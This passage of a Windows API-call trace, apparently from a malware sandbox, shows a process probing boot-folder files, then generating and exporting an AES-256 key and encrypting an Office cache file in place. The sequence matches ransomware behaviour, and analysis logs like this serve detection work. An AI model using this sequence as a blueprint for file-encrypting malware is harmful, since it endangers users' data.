lpDirectoryName="C:\\Boot\\ru-RU", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0096.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0096.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.012] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0096.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.013] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0096.013] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.013] GetLastError () returned 0x5 [0096.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0096.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0096.014] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0096.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0096.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0096.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0096.015] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\sv-SE", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0096.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0096.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.016] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0096.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.017] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0096.017] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.017] GetLastError () returned 0x5 [0096.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0096.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0096.018] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1 [0096.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0096.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0096.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0096.019] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\tr-TR", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0096.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0096.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.020] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1 [0096.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.020] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1 [0096.021] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.021] GetLastError () returned 0x5 [0096.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.022] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0096.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0096.022] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1 [0096.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.022] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0096.023] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0096.023] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0096.023] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-CN", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0096.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0096.024] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.024] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1 [0096.024] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.024] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1 [0096.025] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.025] GetLastError () returned 0x5 [0096.025] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.026] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0096.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0096.026] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1 [0096.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.026] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0096.027] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0096.027] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0096.027] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-HK", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0096.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0096.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.028] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1 [0096.028] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.028] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1 [0096.028] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.029] GetLastError () returned 0x5 [0096.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0096.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0096.030] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0096.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0096.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0096.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0096.031] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-TW", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0096.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0096.032] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.032] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0096.032] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.032] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0096.032] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0096.033] GetLastError () returned 0x5 [0096.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0096.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0096.034] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), fInfoLevelId=0x0, lpFileInformation=0x119fb04 | out: lpFileInformation=0x119fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb)) returned 1 [0096.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x15575d0 [0096.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1557658 [0096.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x15575d0) returned 1 [0096.035] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C", lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x119fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0096.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1557658) returned 1 [0096.036] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.036] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), fInfoLevelId=0x0, lpFileInformation=0x119fb00 | out: lpFileInformation=0x119fb00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb)) returned 1 [0096.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.036] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378b70 [0096.037] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.037] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1378c78 [0096.038] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0096.038] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), fInfoLevelId=0x0, lpFileInformation=0x119fab8 | out: lpFileInformation=0x119fab8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb)) returned 1 [0096.038] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a0 [0096.038] SetFileTime (hFile=0x2a0, lpCreationTime=0x0, lpLastAccessTime=0x119fafc, lpLastWriteTime=0x119fafc) returned 1 [0096.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fb60 [0096.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94fad8 [0096.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fb60) returned 1 [0096.040] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94fad8) returned 1 [0096.040] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0cb8 [0096.042] CryptGenKey (in: hProv=0x2dd990, Algid=0x6610, dwFlags=0x1000001, phKey=0x119fb20 | out: phKey=0x119fb20*=0x2e8fc0) returned 1 [0096.043] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x0, pdwDataLen=0x119fb1c | out: pbData=0x0*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0096.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x240) returned 0x123a4f8 [0096.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0096.044] CryptExportKey (in: hKey=0x2e8fc0, hExpKey=0x2e22e8, dwBlobType=0x1, dwFlags=0x0, pbData=0x123a4f8, pdwDataLen=0x119fb1c | out: pbData=0x123a4f8*, pdwDataLen=0x119fb1c*=0x20c) returned 1 [0096.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0096.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab11c8 [0096.046] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0096.046] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x119fb28*=0) returned 0x0 [0096.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x1ae0020 [0096.047] ReadFile (in: hFile=0x2a0, lpBuffer=0x1ae0020, nNumberOfBytesToRead=0xa00000, lpNumberOfBytesRead=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesRead=0x119fb28*=0xa00000, lpOverlapped=0x0) returned 1 [0096.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xa00000) returned 0x24f0020 [0096.750] CryptEncrypt (in: hKey=0x2e8fc0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000, dwBufLen=0xa00000 | out: pbData=0x1ae0020*, pdwDataLen=0x119fb24*=0xa00000) returned 1 [0096.836] SetFilePointer (in: hFile=0x2a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x119fb10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x119fb10*=0) returned 0x0 [0096.837] WriteFile (in: hFile=0x2a0, lpBuffer=0x1ae0020*, nNumberOfBytesToWrite=0xa00000, lpNumberOfBytesWritten=0x119fb28, lpOverlapped=0x0 | out: lpBuffer=0x1ae0020*, lpNumberOfBytesWritten=0x119fb28*=0xa00000, 